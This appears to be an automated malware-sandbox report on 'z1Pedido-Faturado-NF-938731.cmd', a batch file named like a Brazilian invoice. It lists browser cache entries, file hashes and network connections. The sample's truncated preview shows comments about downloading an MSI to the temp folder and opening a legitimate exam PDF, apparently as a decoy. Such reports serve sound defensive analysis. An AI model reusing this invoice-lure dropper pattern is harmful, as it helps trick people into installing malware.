SHA-512:	E50B9D12486BDEE69B211B6585A1A9EFA003A378C99C9E8787B75B4A835420E6CC63B41EF770BD4275D50C868058C5448A48C18C4D5ED6AEB6610E15947B32C9
Malicious:	false
Preview:	.PNG........IHDR...............7....oIDATx....@.D.iI+.W...3....c.AD.S..1......G/ZX$..O.U.O..S..-ep....R..n..d(b.p.X.7.ep......R..K..-e..].W.'...4...v.T9....IEND.B`.

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32014)
Category:	downloaded
Size (bytes):	37409
Entropy (8bit):	5.783724589921188
Encrypted:	false
SSDEEP:	768:gzfO0UVJw156p8Uzg4LWZgF3229Z9GxVvw7I15b62NEai4JXH8/NtgDi4Y6oTdb0:gzfO0UVW76pjM4LWZgF3229Za4k22NES
MD5:	58FCE67BAB17410E40A5F7D2D788C75B
SHA1:	F7E13DD0FAB97BC340F404C8D510C044A5DB2721
SHA-256:	6F29C75070386DAE1B62C9D9667CA040446FE5B8D57ECC794E913CB292F389CE
SHA-512:	02D2A2F178D5CEC4B94BCB5B905E90431BCA2A32F6CA2D7842E6DF67F30F96DF3514AF8D369939BC10DAA2F68D0EE6320BA29D0A80AE24B2E4780E06EB0DE877
Malicious:	false
URL:	https://cdn.jsdelivr.net/mobile-detect.js/1.3.3/mobile-detect.min.js
Preview:	/!mobile-detect v1.3.3 2016-07-31/./!@license Copyright 2013, Heinrich Goebl, License: MIT, see https://github.com/hgoebl/mobile-detect.js/.!function(a,b){a(function(){"use strict";function a(a,b){return null!=a&&null!=b&&a.toLowerCase()===b.toLowerCase()}function c(a,b){var c,d,e=a.length;if(!e\|\|!b)return!1;for(c=b.toLowerCase(),d=0;e>d;++d)if(c===a[d].toLowerCase())return!0;return!1}function d(a){for(var b in a)h.call(a,b)&&(a[b]=new RegExp(a[b],"i"))}function e(a,b){this.ua=a\|\|"",this._cache={},this.maxPhoneWidth=b\|\|600}var f={};f.mobileDetectRules={phones:{iPhone:"\\biPhone\\b\|\\biPod\\b",BlackBerry:"BlackBerry\|\\bBB10\\b\|rim[0-9]+",HTC:"HTC\|HTC.(Sensation\|Evo\|Vision\|Explorer\|6800\|8100\|8900\|A7272\|S510e\|C110e\|Legend\|Desire\|T8282)\|APX515CKT\|Qtek9090\|APA9292KT\|HD_mini\|Sensation.Z710e\|PG86100\|Z715e\|Desire.(A8181\|HD)\|ADR6200\|ADR6400L\|ADR6425\|001HT\|Inspire 4G\|Android.\\bEVO\\b\|T-Mobile G1\|Z520m",Nexus:"Nexus One\|Nexus S\|Galaxy.Nexus\|Android.Nexus.*Mobile\|Nexus 4\|Nexus 5\|Nexus 6

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 48x48, 8 bits/pixel
Category:	dropped
Size (bytes):	3774
Entropy (8bit):	3.184536596999118
Encrypted:	false
SSDEEP:	24:d4QSBuCU2RNNI7sV2f9WsKZhSjqPbA3fBu4/HleKO83S6uWWWW36dv:wuC3NUsVKWVZgmPMd/Hl13SNu
MD5:	B177846B5FC625FAC76844F8C4ED37D4
SHA1:	94F440DFA8E0733C416A8148C81FB8D43E73BEA1
SHA-256:	43682CAA9F50123373B0F60A9F0529E8A0F7A247413433129CC1734F20E37E60
SHA-512:	3F5DB41DD21B4C468F99633D800D757233C451CB65DA5724E025F70E91CCD129EDA2DE9EEDA93FB03DCB784C31D74676586799EF7DC90FF717D19CF1C47F934B
Malicious:	false
Preview:	......00..............(...0...`....................................(..]`c.ijo.gim.bcf.ijm.]^a.................)/.;<A...........................!.....BCH.XZ]....... .....$%).................^^b.vxz.................IJL.......".....................cch.368....... .......!...$.............025...$.....,..FIM.......!....../1.............JJN.suw.........efh.............LMQ.........>?B....... .................adf.:;@.............EFJ.PTU.......!.NPR...........................#..........!#.(*......IIM.....56;.CDH...". "&.qsu... ...!.....NOR.ddg.................579.............nnr.8:<... ...............!.....:<@.."&.....+,0...!.....127.............@AE.KLO....... .....hkm.....LNQ.FGI.............CFI.........KLN.8;=.?AE.@DE.;>?.acf.>>B.BDE.@AC...................................................................................................................................................................................................................................................................

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.7, 35 pages
Category:	downloaded
Size (bytes):	539511
Entropy (8bit):	7.974141571095466
Encrypted:	false
SSDEEP:	12288:zFckPinvg4JjGCAxUIxc9494kFFkfl3ql6r:zFckPiv/thAt06R0r
MD5:	D25908BAEC72FEC094672BA75829B4A3
SHA1:	EA2144B6ADD6B3CB0E980FBC655613440F511F13
SHA-256:	00442072BD6A14050C3D81C29102C280781CF8AACCB54F1D45F8B35ACF68CD9A
SHA-512:	2405E86C6CA1F87AB6CE6E49F722840DA3183428419D0FB655CC9773C24786B820CAF73A41129AA2F4A2168D43F5897398EB393C54D37931DDE979292C4E6E86
Malicious:	false
URL:	https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf
Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(pt) /Metadata 159 0 R/ViewerPreferences 160 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 35/Kids[ 3 0 R 26 0 R 30 0 R 35 0 R 42 0 R 46 0 R 48 0 R 52 0 R 57 0 R 61 0 R 63 0 R 69 0 R 73 0 R 78 0 R 80 0 R 86 0 R 88 0 R 90 0 R 92 0 R 96 0 R 104 0 R 107 0 R 111 0 R 113 0 R 116 0 R 118 0 R 120 0 R 122 0 R 124 0 R 126 0 R 128 0 R 132 0 R 138 0 R 140 0 R 142 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 9 0 R/F3 13 0 R/F4 16 0 R/F5 19 0 R/F6 21 0 R>>/ExtGState<</GS7 7 0 R/GS8 8 0 R>>/XObject<</Image11 11 0 R/Image12 12 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 15 0 R 18 0 R] /MediaBox[ 0 0 595.4 841.8] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 12061>>..stream..x..}..7.....w.C=..9I.g.b0.,...-....`...I.@U%..k.......s..\.4...n....i..d2?.$_.T6.KU/.1~....`0.[.....k.Fn.M.U.r.b.n^.n}.??.\...'.>......y...GB..

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 450x120, components 3
Category:	downloaded
Size (bytes):	9968
Entropy (8bit):	7.915351329868668
Encrypted:	false
SSDEEP:	192:SxP4lM1wb5HrkjKV/n0eKsddkmB41ieN0KEL93UdfuU88MF6y:wPreb5Hrn9n02LPeNlkSdfEjH
MD5:	490D9F602130232874741D28EEED2140
SHA1:	0FB88852778AC7FE94947673B3A3B17BC84F5AD0
SHA-256:	0641F4B8887A3DCB8C4243CBA38C4B639DD0CF18E9265F3B0A6B56F10567E11C
SHA-512:	1AC2BD0C3262E9974359AF02248E16BE9ECB70211E81485A96626F08B5BCF9E44240AE1B66837604EFCFB515F4D2D596C84A7EBAD4F295256D65F4C8D56942C2
Malicious:	false
URL:	https://cdn.jsdelivr.net/gh/spbgovbr-vlibras/vlibras-portal@dev/app/assets/access_popup.jpg
Preview:	......JFIF.....H.H.....C......................%....,'..+'+17F;14B4+=S>BHJNON/;V\UL[FMNK...C.......$..$K2+2KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK......x............................................G.........................!.1."AQa..q...#2BRr......346..5bst$7...CSTc................................2........................!1A..."23Qaq.#4..$...BR.............?.......$..cFK. ...O...Yg#u.es....\|.B:....."...sm.....g...4....J..F?...R.K.. !.@... ......e..@.... (..@B.. !.BB.......2. ..@............@B.. !.@.....2.W..Q..w{N.4.a6....Wp.sD...G6.w.w?nVKtu.q.4W..{..-wk.0.........=.J.m.....7.G.................]...G.}......x9..1.. ..@...!#(.T.V....s+..G2...T."......EO#........Y...x...Z9...l.F.1..<.[.%%.ci..d......@B...$ ........@.....@... .H@B........ !.BB.....@B.. ,.~..M....!.......g.R..<.-..\.}I.9.. .2.._=..>]U1..Y..............&.%......!.@...(.M..(...N6c.q....Z.w'.l.'..bIf...?[.2W.Rry.:q...=c...j...w...e..$.F..-.GF.C3...z..:..3.B.s...K.qB.. #(H@... .............(H@

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5140)
Category:	downloaded
Size (bytes):	66268
Entropy (8bit):	5.325347166377563
Encrypted:	false
SSDEEP:	1536:RJeUwT76HXltMHM9eEqJ1UJnTZ02LKVlEy9:RIT7OX4s9eZYtj8lt9
MD5:	7A5DC3FA5DFBC4FA3110BEE4142E5156
SHA1:	89D6C3A6DCE357E9E0D660C5DC463921FE40B4A2
SHA-256:	231BF643CFDD6373EBB9EA3A28A599BEDB43109B56BD2CE701BC33FCDCFBD895
SHA-512:	B9A05162F39DC1BC7A04A522EE34E06F6D10869BE4465806EDCDB4959C226E8C54EE5A2C20C7E470789DCBBF66C92B8CBDE86CF844A05C1179C2957EA1325223
Malicious:	false
URL:	https://connect.facebook.net/signals/config/516356326232506?v=2.9.156&r=stable&domain=www.quadrix.org.br&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.7, 35 pages
Category:	dropped
Size (bytes):	539511
Entropy (8bit):	7.974141571095466
Encrypted:	false
SSDEEP:	12288:zFckPinvg4JjGCAxUIxc9494kFFkfl3ql6r:zFckPiv/thAt06R0r
MD5:	D25908BAEC72FEC094672BA75829B4A3
SHA1:	EA2144B6ADD6B3CB0E980FBC655613440F511F13
SHA-256:	00442072BD6A14050C3D81C29102C280781CF8AACCB54F1D45F8B35ACF68CD9A
SHA-512:	2405E86C6CA1F87AB6CE6E49F722840DA3183428419D0FB655CC9773C24786B820CAF73A41129AA2F4A2168D43F5897398EB393C54D37931DDE979292C4E6E86
Malicious:	false
Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(pt) /Metadata 159 0 R/ViewerPreferences 160 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 35/Kids[ 3 0 R 26 0 R 30 0 R 35 0 R 42 0 R 46 0 R 48 0 R 52 0 R 57 0 R 61 0 R 63 0 R 69 0 R 73 0 R 78 0 R 80 0 R 86 0 R 88 0 R 90 0 R 92 0 R 96 0 R 104 0 R 107 0 R 111 0 R 113 0 R 116 0 R 118 0 R 120 0 R 122 0 R 124 0 R 126 0 R 128 0 R 132 0 R 138 0 R 140 0 R 142 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 9 0 R/F3 13 0 R/F4 16 0 R/F5 19 0 R/F6 21 0 R>>/ExtGState<</GS7 7 0 R/GS8 8 0 R>>/XObject<</Image11 11 0 R/Image12 12 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 15 0 R 18 0 R] /MediaBox[ 0 0 595.4 841.8] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 12061>>..stream..x..}..7.....w.C=..9I.g.b0.,...-....`...I.@U%..k.......s..\.4...n....i..d2?.$_.T6.KU/.1~....`0.[.....k.Fn.M.U.r.b.n^.n}.??.\...'.>......y...GB..

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	130
Entropy (8bit):	5.758422698577114
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtsBxd/SZX6AaGdEFkpid5Cr+3/etIldp:6v/lhPO6C6XNemidP/eup
MD5:	598830CE143BD7F5AD4123D04B71B3E5
SHA1:	4057D6DACEDD473B2950395229EEF7F40123F34E
SHA-256:	E95AC239FD0617E22DE2F23493B5B9676884032B9DEF5810010298E79A2774C2
SHA-512:	FAD3996D6764124C71EC39875D26E1D71985A250E17894F563861B0DB18ADECA3B16748284ACB7AE2AD03D387DCBEA4200E19914B1502CD8174C907E057F16D2
Malicious:	false
Preview:	.PNG........IHDR...............7....IIDATx.c.;....;T.&4.....?@H......:.B....... ..........s06v.N.?Iu_`.......+..N.-....IEND.B`.

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	5614
Entropy (8bit):	4.058476807781534
Encrypted:	false
SSDEEP:	96:VoQuTa5cSXznhDREFqJrKFJVA9cUbuIroPtdvFPk7ZNzr2n2RCsC2jiiJyttOXBm:yQuScSjnhDWMJeFYTbSt+7ZNnUmGbtUQ
MD5:	F50EB8E7D6CC2367619F72559F258B16
SHA1:	F4F7AB0BA4218CFA39078403A990490F84880416
SHA-256:	EB8C9CFC18A5612C8636E1C773111C27FB69865A9C3F9A37A6E265E095C1188D
SHA-512:	F637C3E969CCAFD75B0F328BBFBF8AC7F88C3DD0038043BB485A994CF9372235DA05C58B0A1E6A81CD9BE8625F67E2EAEFB93CE8F9D2D9005FE0EF8377C17108
Malicious:	false
URL:	https://cdn.jsdelivr.net/gh/spbgovbr-vlibras/vlibras-portal@dev/app/assets/access_icon.svg
Preview:	<svg width="40" height="40" viewBox="0 0 40 40" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="40" height="40" rx="8" fill="url(#paint0_linear_529_95)"/>..<path fill-rule="evenodd" clip-rule="evenodd" d="M14.3515 8.00885C14.2659 8.02229 14.0952 8.12725 13.9722 8.24213C13.7501 8.44966 13.7489 8.4543 13.7954 8.95863C13.8212 9.23785 13.873 9.84616 13.9104 10.3105C14.2022 13.9301 14.2501 15.014 14.1218 15.0933C13.906 15.2267 13.787 15.0254 11.7744 11.1229C11.0845 9.7851 10.953 9.64412 10.5264 9.78488C9.84976 10.0082 9.90301 10.3457 10.984 12.685C11.1227 12.9851 11.2361 13.2431 11.2361 13.2584C11.2361 13.2738 11.3578 13.5507 11.5068 13.8737C12.3139 15.6253 12.5242 16.3377 12.2637 16.4377C12.0791 16.5085 11.7503 16.3324 11.48 16.0181C11.3425 15.8582 11.1733 15.664 11.1041 15.5866C11.0348 15.5093 10.8383 15.2718 10.6674 15.059C10.4965 14.8462 10.3404 14.6563 10.3205 14.6369C10.3006 14.6176 9.97505 14.2328 9.59714 13.7818C9.21915 13.3308 8.86093 12.943 8.80099 12.92C8.45635 12.7

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20827)
Category:	downloaded
Size (bytes):	917161
Entropy (8bit):	5.590211345612989
Encrypted:	false
SSDEEP:	24576:2G96K8z7oZgFPKvT7QzBGMc5aeNW+ssn/LUVzXAFw:yLVzB2ox
MD5:	329DBE89945571D2A60B37EC730A0205
SHA1:	7D61733C80B08E3134EE1ECAA538BE4C59ADF9A9
SHA-256:	B4367A1E2C131F53DA7FFC15359C9B6229161F663968F1A00EEC00FD4ABA0D17
SHA-512:	0546FA7F58E1181268AFF6B3ACBBF28AD2F635906A283D23589532CEAE56C7E84C241D90A656E72B4E7F90DB640F4CD243B7687E4CE26633E235B9442791CBD4
Malicious:	false
URL:	https://www.quadrix.org.br/build/pdf.worker.js
Preview:	(function(root,factory){'use strict';if(typeof define==='function'&&define.amd){define('pdfjs-dist/build/pdf.worker',['exports'],factory);}else if(typeof exports!=='undefined'){factory(exports);}else{factory((root.pdfjsDistBuildPdfWorker={}));}}(this,function(exports){'use strict';var pdfjsVersion='1.5.500';var pdfjsBuild='d2a4974';var pdfjsFilePath=typeof document!=='undefined'&&document.currentScript?document.currentScript.src:null;var pdfjsLibs={};(function pdfjsWrapper(){(function(root,factory){{factory((root.pdfjsCoreArithmeticDecoder={}));}}(this,function(exports){var ArithmeticDecoder=(function ArithmeticDecoderClosure(){var QeTable=[{qe:0x5601,nmps:1,nlps:1,switchFlag:1},{qe:0x3401,nmps:2,nlps:6,switchFlag:0},{qe:0x1801,nmps:3,nlps:9,switchFlag:0},{qe:0x0AC1,nmps:4,nlps:12,switchFlag:0},{qe:0x0521,nmps:5,nlps:29,switchFlag:0},{qe:0x0221,nmps:38,nlps:33,switchFlag:0},{qe:0x5601,nmps:7,nlps:6,switchFlag:1},{qe:0x5401,nmps:8,nlps:14,switchFlag:0},{qe:0x4801,nmps:9,nlps:14,switchFl

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	206
Entropy (8bit):	6.4104051311612364
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtwsZwHdJTVxGxs0RpT7cYM1h7Lmm0uZzzKQY5ZPKJF0Rl1:6v/lhPO6XubusGfcY0hXZvKjKL0Aenjp
MD5:	76C51C4B7D0611C93965B1AFA448BF92
SHA1:	C73D0FDE7EDAA0F1F3A66FA5EFB6BAED6D836535
SHA-256:	DB791DB58CA983CED4A8E761EDF47D8610432F230F7982C1B0A685A66F82A529
SHA-512:	F180A2B37EA7EACA0597E2BB1D7D7716F8F76799E18397E87EBC50ACEC60BAD100AB010787A05E3AFFED2566940FC44D7D898ED53151E8176F8BBB564638403C
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-sidebarToggle.png
Preview:	.PNG........IHDR...............7.....IDATx.c .............'8.3..G....RYUY......6...!....p-../.>@...$.Qp..}.......L@.. .......(...`.....@M+..M.o.7..a ...*...b.....+x...A.....i...8.........\.......IEND.B`.

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.99823403140742
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6Pt5BxdHFaeptPNDG/r2Nv/bp:6v/lhPO6jBrg29Ny/roTp
MD5:	9D97BD5660F537CDA28D2814ADF9F1DF
SHA1:	78E8CB1F0CBE8AF7A48AF260B4DE8057C24DF49D
SHA-256:	F1FFDC61C1484822A4C534A0D79F77C4A1EC5332F25981B048037535805440C7
SHA-512:	A62B3FF91C356EA9CE12338E1352FCAA683EE183B5A60E49790F60F909CD4F12FDFA5C9FF1C14FB845959928A164E7FF681897C3B3FC317EB0A278D8742CB237
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.c.Q..;L....&D5..........'.gx......IEND.B`.

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3055), with no line terminators
Category:	downloaded
Size (bytes):	3055
Entropy (8bit):	5.972593032522359
Encrypted:	false
SSDEEP:	48:Ego2Y+iKasKEIzUtJQSIZyaQqefq7SWWdCC6jykt08c1dJEMbSpkpQOxqHG9A4Wx:wsbSUtJfxrqvWWWdV6j1A1dJEMGupo4s
MD5:	AC7415F361207AA860402CE362ABBFB9
SHA1:	5BDCF65EC9231603D87DFDCAC52034A67F3928A6
SHA-256:	DE3DA8121545EB17E77CC30656F896AABF3BD5360551210D75663C4EF16DFD67
SHA-512:	B04D22D5983003F83E762A29E34C263339D62F13BCCBA7727A5903C088C35BEBCA457D32445F49C4D33637BF6B98C9E7DE356A4ED23F4AAC083091F5CE9EE490
Malicious:	false
URL:	https://www.googleadservices.com/pagead/conversion/341894994/?random=1715325658495&cv=11&fst=1715325658495&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&label=7TlxCO2f-4QDENLOg6MB&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],null==p){k=null;break a}k=p}var r=k&&k[610401301];g=null!=r?r:!1;var t,v=f.navigator;t=v?v.userAgentData\|\|null:null;function w(d){return g?t?t.brands.some(function(a){return(a=a.brand)&&-1!=a.indexOf(d)}):!1:!1}function x(d){var a;a:{if(a=f.navigator)if(a=a.userAgent)break a;a=""}return-1!=a.indexOf(d)};function y(){return g?!!t&&0<t.brands.length:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk")};!x("Android")\|\|z();z();!x("Safari")\|\|z()\|\|(y()?0:x("Coast"))\|\|(y()?0:x("Opera"))\|\|(y()?0:x("Edge"))\|\|(y()?w("Microsoft Edge"):x("Edg/"))\|\|y()&&w("Opera");var A=/#\|$/;function B(d){var a=d.search(A),b;a:{for(b=0;0<=(b=d.indexOf("fmt",b))&&b<a;){var c=d.charCodeAt(b-1);if(38==c\|\|63==c)if(c=d.charCodeAt(b+3),!c\|\|61==c\|\|38==c\|\|35==c)br

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.41440934524794
Encrypted:	false
SSDEEP:	3:hYFJAR+mQRKVxLZRtUy:hYFDaNZgy
MD5:	F6647E4510A00754F2072D476BFED148
SHA1:	42111B9DD7F9AE86E608B53A34115A75D9D35721
SHA-256:	8D105448DECC71076B3300FF4E2CAB08D52185417F91354A6A29FFE119EF0D06
SHA-512:	890E265D9D6C386152B17EFD74A9DDCF99393F18E7C4815D9CFF1F7342BD855F0DAEF6DB9560B8648C0CC50F819ED61F4CE770E6E32C7EE885ECF4600CBBFFA4
Malicious:	false
Preview:	..Waiting for 5 seconds, press a key to continue ....4.1.0..

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (537), with no line terminators
Entropy (8bit):	5.413074874958898
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	z1Pedido-Faturado-NF-938731.cmd
File size:	1'077 bytes
MD5:	fb3a82867140a7d85d1dbd43ed1b3574
SHA1:	e4ef86f43cd05a4bfaf4517392a0a509296bd9c8
SHA256:	7b4e9e46ab0de8d2a3d193c41c7538137e8db201e9640e175b4d63b437eab35c
SHA512:	5b62fe79fb95e88f898ae0599efc772bbbc412bdd6d4077afe706d5b250f06a590c9ebaa485df1ce7813943318fe2be55a1661398812cef35ab90b7bde5769d1
SSDEEP:	24:Q7xNWBVjf28EFurOd2pFtHgx/I8tUSvV2IpkmdS2:yxNFvPetM/7tUwV2W22
TLSH:	3911750B240527840CB90AD0D02A474EE0AEE0176B21A2C7F8AFC4531E1975A50EBDFB
File Content Preview:	..&cls.........@echo off....rem Define a pasta tempor..ria para o download do arquivo MSI..set "TEMP_FOLDER=%TEMP%"....rem Define o URL do PDF que deseja abrir..set "PDF_URL=https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Ar

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 10, 2024 09:20:48.234497070 CEST	49675	443	192.168.2.4	173.222.162.32
May 10, 2024 09:20:48.578293085 CEST	49678	443	192.168.2.4	104.46.162.224
May 10, 2024 09:20:54.906361103 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:54.906407118 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:54.906522989 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:54.906806946 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:54.906817913 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.136729002 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.137044907 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.137057066 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.138055086 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.138117075 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.384639025 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.384687901 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.384749889 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.385358095 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.385502100 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.385750055 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.385762930 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.387712955 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.387725115 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.438774109 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.518433094 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.518486023 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.518516064 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.518534899 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.518543005 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.518583059 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.518587112 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.518627882 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.518662930 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.518671989 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.518676996 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.518716097 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.518718958 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.519265890 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.519289017 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.519311905 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.519315958 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.519340992 CEST	443	49733	172.66.43.171	192.168.2.4
